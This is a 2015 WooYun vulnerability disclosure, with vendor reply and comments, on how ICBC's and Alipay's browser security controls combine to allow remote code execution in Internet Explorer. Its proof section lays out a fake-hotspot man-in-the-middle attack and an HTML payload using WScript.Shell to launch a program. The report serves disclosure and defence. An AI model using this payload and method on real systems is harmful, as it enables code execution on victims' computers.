当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096339

漏洞标题：工商银行安全控件可导致远程任意代码执行（新型技术点）

相关厂商：工商银行

漏洞作者： MITM

提交时间：2015-02-09 12:38

修复时间：2015-05-10 14:03

公开时间：2015-05-10 14:03

漏洞类型：远程代码执行

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-09： 细节已通知厂商并且等待厂商处理中
2015-02-09： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放
2015-04-05： 细节向核心白帽子及相关领域专家公开
2015-04-15： 细节向普通白帽子公开
2015-04-25： 细节向实习白帽子公开
2015-05-10： 细节向公众公开

简要描述：

某网上银行安全控件可导致远程任意代码执行。

详细说明：

其实这个漏洞涉及两个厂商的安全控件：中国工商银行网银助手（版本：1.5.3.0）[1]和支付宝安全控件（版本：5.0.0.3597）[2]。需要用户两个都安装，才好利用。另外需要使用IE浏览器，IE版本不限。
我用的是英文版Windows 7的虚拟机测试的，我不太清楚一些设置的中文怎么说，所以大家只能将就看英文了。
一般情况下，IE的Trusted sites域的默认Security level是“中等”。这个设置是不允许执行高危的ActiveX代码的。安装ActiveX控件也会有提示。所以是安全的。

Screenshot (41).png


而我发现当安装完中国工商银行的网银助手之后，发现Trusted sites域的Security level变成了“自定义”，并把https://*.icbc.com.cn加入到了Trusted sites域中。特别是安全设置中的“Initialize and script ActiveX controls not marked as safe for scripting”由默认的禁止变成了启用。

Screenshot (43).png


Screenshot (44).png


这一更改是此漏洞的核心。一旦启用了这一选项，域内的任何网页都可以无需用户许可即能执行高危的ActiveX代码，比如打开任意程序、读写本地文件。微软3年前对此有过详细解释[3]。我不知道是不是工行对自己的网站特别信任，以为https://*.icbc.com.cn/是可信安全的，不会被利用，所以给高权限“没事”。
但是别忘了，IE不是你们工行客户端软件，用户和其他“安全”控件都可能将一些网站加入Trusted sites域。比如，我发现支付宝就干这事。
装完支付宝之后，信任列表里又多了几个阿里巴巴旗下的网站：http://*.alipay.com, http://*.alisoft.com, http://*.taobao.com, https://*.alipay.com等。

Screenshot (46).png


这就意味着，如果用户同时使用工行网银和支付宝，那么阿里巴巴的3个网站同时拥有了执行任意代码的权限。由于工行和支付宝的高度相关性，肯定有非常多的共同用户。而如果淘宝网上有个存储型XSS……
更不幸的是，支付宝添加的网站还有非https的，所以还可以轻易被中间人攻击，用来植入木马。
[1] http://www.icbc.com.cn/ICBC/html/download/EbankToolsSoftware/x64/ICBCSetupIntegration_64.msi
[2] https://download.alipay.com/sec/edit/aliedit.exe
[3] http://blogs.technet.com/b/fdcc/archive/2011/11/03/enabling-initialize-and-script-activex-controls-not-marked-as-safe-in-any-zone-can-get-you-hurt-bad.aspx

漏洞证明：

本人对XSS实在不熟，本想拿个反射型XSS做演示，但没找到。所以就用中间人攻击演示吧：
0、建个假Wi-Fi热点，吸引人们连接。
1、将任意HTTP页跳转到http://www.taobao.com/，
2、给http://www.taobao.com/直接返回以下代码：

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>认证</title>
    <script>
           try {
                var shell = new ActiveXObject("WScript.Shell");
                shell.Run("calc.exe");  // 执行什么都行
            } catch (err) {
                // 没有安装支付宝和工行助手
            }
           location.href = (location.hash.length > 1) ? location.hash.substr(1) : "http://www.baidu.com"; // 转回原网站
    </script>
</head>
<body>
    <p>认证中，请稍后……</p>
</body>
</html>


3、如果这个用户装了支付宝和工行助手，那么代码就已经执行。

activex_mitm.png

修复方案：

二位别修改用户的IE浏览器设置不行吗？即使真的需要，也绝不能给任意域开启Initialize and script ActiveX controls not marked as safe for scripting。也不要添加明文http网站至信任列表。

版权声明：转载请注明来源 MITM@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-10 14:03

厂商回复：

对于控件启用，属于软件功能的使用问题，涉及所述工商银行的，均已标记https的链接为信任目标。对于攻击利用存在较高的前提，暂不作为漏洞风险进行确认。先行公开，供讨论。

漏洞Rank：20 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-02-09 12:38 | 浅蓝 ( 普通白帽子 | Rank:274 漏洞数:109 | 爱安全:www.ixsec.orgXsec社区:zone.ixse...)

    前排

  2. 2015-02-09 12:42 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

    CCTV看这

  3. 2015-02-09 12:42 | 糖剩七颗 ( 普通白帽子 | Rank:430 漏洞数:61 | 天涯何处无屌丝)

    这个叼。。

  4. 2015-02-09 12:44 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    银行啊银行！可长点心吧！

  5. 2015-02-09 12:47 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    跪着看乌云

  6. 2015-02-09 12:57 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    其实大家更关心的是:“可以提现么？”

  7. 2015-02-09 13:02 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    跪着看乌云

  8. 2015-02-09 13:02 | 第四维度 ( 实习白帽子 | Rank:58 漏洞数:34 | 谦谦君子，温润如玉)

    NB

  9. 2015-02-09 13:04 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    其实大家更关心的是:“可以提现么？”

  10. 2015-02-09 13:09 | Qiudays ( 路人 | Rank:10 漏洞数:9 | 感觉自己萌萌哒)

    你们这样撸“爱存不存”真的好吗？

  11. 2015-02-09 13:15 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    其实这样对银行好吗？以后都没人存钱了.

  12. 2015-02-09 13:33 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    这样真的。。哎呀我去，爽！

  13. 2015-02-09 13:34 | %230CC ( 路人 | Rank:6 漏洞数:2 | 溜溜)

    mark

  14. 2015-02-09 13:40 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    碉堡了

  15. 2015-02-09 14:11 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    公开呀

  16. 2015-02-09 14:42 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    公开啊

  17. 2015-02-09 14:58 | Qiudays ( 路人 | Rank:10 漏洞数:9 | 感觉自己萌萌哒)

    先讨论一下怎么利用....这样真的好吗？

  18. 2015-02-09 15:02 | ’‘Nome ( 实习白帽子 | Rank:55 漏洞数:19 | 在此感谢 @M4sk @mango @裤裆 @泳少 @5up3r...)

    我靠。。。。忽略了

  19. 2015-02-09 15:09 | 萨瓦迪卡 ( 实习白帽子 | Rank:34 漏洞数:8 | 傻逼的坚持可能有牛逼的结果。)

    这。。。

  20. 2015-02-09 15:56 | qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)

    一直想研究这方面，但是CLSID号怎么得到的呢？以前搞过没搞出来－－

  21. 2015-02-09 16:01 | MITM ( 普通白帽子 | Rank:167 漏洞数:25 | 先空着)

    作为洞主，我对厂商的回复表示反对。我不认为“攻击利用存在较高的前提”，也不认为这仅是“功能的使用问题”。我的报告里解释了https的问题。我也说了这是两个厂商的漏洞共同利用的结果，不只是工行的漏洞。鉴于代码执行的危害性，希望你们能再考虑一下，把这个问题同时报给*两个厂商*。“相关厂商”一栏的“工商银行”是乌云的审核人员添加的，我原来写的是“某网上银行”。我不知道是不是这一点造成的误会，我不想说责任100%在工商银行。当然乌云审核加的相关厂商也是对的，绝大部分责任在ICBC。

  22. 2015-02-10 13:04 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @MITM 楼主不哭，手工前来帮你点赞！

  23. 2015-02-10 14:45 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @@

  24. 2015-02-10 15:24 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:71 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    超级高危漏洞被cert忽略了，灾难级别的。

  25. 2015-02-10 15:25 | 伟大娃娃 ( 普通白帽子 | Rank:130 漏洞数:10 | 改变世界)

    @李旭敏 赞同.

  26. 2015-02-10 16:21 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @李旭敏 你可以看？

  27. 2015-02-10 17:16 | 肉肉 认证白帽子 ( 普通白帽子 | Rank:112 漏洞数:10 | 肉肉在长亭科技，肉肉在长亭科技，肉肉在长...)

    @px1624 感觉从标题就能感觉出来吧。这个问题应该不小

  28. 2015-02-10 21:56 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    mark。。。

  29. 2015-03-21 04:58 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚，关注互联网安全)

    NB!

  30. 2015-04-17 09:44 | catcat520 ( 路人 | Rank:20 漏洞数:4 | 大家好，我是刚学网络 00后，求照顾，谢谢)

    厂商先忽略后修复，高危漏洞，厂商你放学别走，我保证不打死你

  31. 2015-04-17 10:09 | MITM ( 普通白帽子 | Rank:167 漏洞数:25 | 先空着)

    @catcat520 刚看了下，其实还没有修复。再有不到1个月公开，@cncert国家互联网应急中心，能不能催一下工行快点修复啊？

  32. 2015-05-10 14:07 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    这种漏洞见得太多了，为了功能实现降低安全性

  33. 2015-05-10 21:37 | zzzzy ( 路人 | Rank:10 漏洞数:3 | 熟练各种语言名称的拼写)

    这....

  34. 2015-05-10 21:58 | 谢统领 ( 路人 | Rank:0 漏洞数:1 | 谢统领)

    厂商主动忽略的漏洞，是不是表示鼓励大家充分利用？

  35. 2015-05-11 18:08 | 屠龙宝刀点击就送 ( 路人 | Rank:4 漏洞数:2 | 简要介绍不能为空)

    卧槽这就公开了？也太不负责任了吧

  36. 2015-06-04 17:30 | 血梦 ( 实习白帽子 | Rank:32 漏洞数:11 | www.blackcyber.org)

    6666666666